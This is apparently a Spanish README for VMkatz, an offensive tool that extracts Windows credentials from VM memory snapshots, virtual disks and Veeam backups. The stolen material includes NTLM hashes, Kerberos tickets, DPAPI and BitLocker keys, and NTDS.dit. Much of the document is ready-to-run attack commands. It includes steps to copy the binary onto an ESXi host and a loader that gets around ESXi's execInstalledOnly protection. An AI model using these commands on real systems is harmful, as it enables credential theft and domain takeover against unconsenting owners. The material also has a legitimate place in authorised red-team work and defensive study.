
Extraer credenciales de Windows directamente desde instantáneas de memoria de máquinas virtuales y discos virtuales.
Llevas tres semanas en un engagement de red team. Aterrizas en un NAS conectado al clúster de virtualización: cientos de gigabytes de .vmdk, .vmsn, .sav ahí mismo. Pero tu enlace va a 200 KB/s. Exfiltrar un solo disco de 100 GB llevaría seis días.
VMkatz existe porque no deberías tener que exfiltrar lo que puedes leer in situ. Extrae credenciales de Windows directamente de archivos de VM — snapshots de memoria, discos virtuales, copias de seguridad de Veeam: hashes NTLM, tickets Kerberos, claves maestras DPAPI, secretos LSA, NTDS.dit, claves BitLocker, secretos de navegadores.
Un único binario estático, ~3 MB. Déjalo en el host ESXi, el nodo Proxmox o el NAS. Apúntalo a una carpeta de VM y llévate credenciales, no imágenes de disco.
Los 9 proveedores de credenciales SSP que implementa mimikatz:
| Proveedor | Datos | Notas |
|---|---|---|
| MSV1_0 | Hashes NT/LM, SHA1 | Fallback de escaneo físico para entradas paginadas |
| WDigest | Contraseñas en texto plano | Recorrido de lista enlazada + fallback a .data |
| Kerberos | Claves AES/RC4/DES, tickets (.kirbi/.ccache) | Recorrido de árbol AVL + carving de tickets para sesiones liberadas |
| TsPkg | Contraseñas en texto plano | Solo sesiones RDP |
| DPAPI | Caché de claves maestras (GUID + clave descifrada) | Masterkey SHA1 para descifrado DPAPI offline |
| SSP | Credenciales en texto plano | SspCredentialList en msv1_0.dll |
| LiveSSP | Credenciales en texto plano | Requiere livessp.dll (raro tras Win8) |
| Credman | Credenciales almacenadas | Enumeración por tabla hash + lista simple |
| CloudAP | Tokens de Azure AD | Normalmente vacío para inicio de sesión solo local |
Además: extracción de FVEK de BitLocker desde memoria (escaneo de pool tags para FVEc/Cngb).
$DPAPImk$ — modos 15300/15310/15900/15910)| Formato | Extensiones | Origen | Estado |
|---|---|---|---|
| Snapshots de VMware | .vmsn + .vmem | Workstation, ESXi | Probado |
| Snapshots embebidos de VMware | .vmsn (sin .vmem) | ESXi suspend | Probado |
| Estados guardados de VirtualBox | .sav | VirtualBox | Probado |
| Estados savevm de QEMU/KVM | autodetectado | Proxmox, QEMU | Probado |
| Core dumps ELF de QEMU/KVM | .elf | virsh dump | Probado |
| Estados guardados de Hyper-V | .vmrs | Hyper-V 2016+ | Probado |
| Copias de seguridad de Veeam | .vbk, .vib, .vrb | Veeam B&R | Probado |
| Discos virtuales de VMware | .vmdk (sparse + flat) | Workstation, ESXi | Probado |
| Discos virtuales de VirtualBox | .vdi | VirtualBox | Probado |
| Discos virtuales de QEMU/KVM | .qcow2 | QEMU, Proxmox | Probado |
| Discos virtuales de Hyper-V | .vhdx, .vhd | Hyper-V | Probado |
| Dispositivos SCSI raw VMFS-5/6 | /dev/disks/... | ESXi (evita bloqueos de archivo) | Probado |
| Dispositivos de bloque LVM | /dev/... | Proxmox LVM-thin | Probado |
| Hives de registro raw | SAM, SYSTEM, SECURITY | reg save | Probado |
| NTDS.dit raw | ntds.dit + SYSTEM | Controlador de dominio | Probado |
| Minidump de LSASS | .dmp | procdump, Administrador de tareas | Probado |
| Directorios de VM | cualquier carpeta | Autodescubre todos los archivos | Probado |
SO objetivo: Windows Server 2003 hasta Windows Server 2025 / Windows 11 24H2 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| Formato | Flag | Descripción |
|---|---|---|
text | --format text (predeterminado) | Volcado completo de credenciales con metadatos de sesión |
brief | --format brief | Resumen compacto de una línea por credencial |
ntlm | --format ntlm | Formato pwdump DOMAIN\user:::hash::: |
hashcat | --format hashcat | Hashes sin procesar: modo 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | Legible por máquina, todos los campos |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
Cuando la protección VIB (execInstalledOnly) está habilitada, use el cargador de Python — no es necesario deshabilitar la configuración:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
Consulta docs/esxi.md para obtener detalles sobre la omisión de VIB, el acceso a dispositivos sin procesar de VMFS y el descubrimiento automático.
VMkatz es modular. Las características se pueden habilitar/deshabilitar en tiempo de compilación: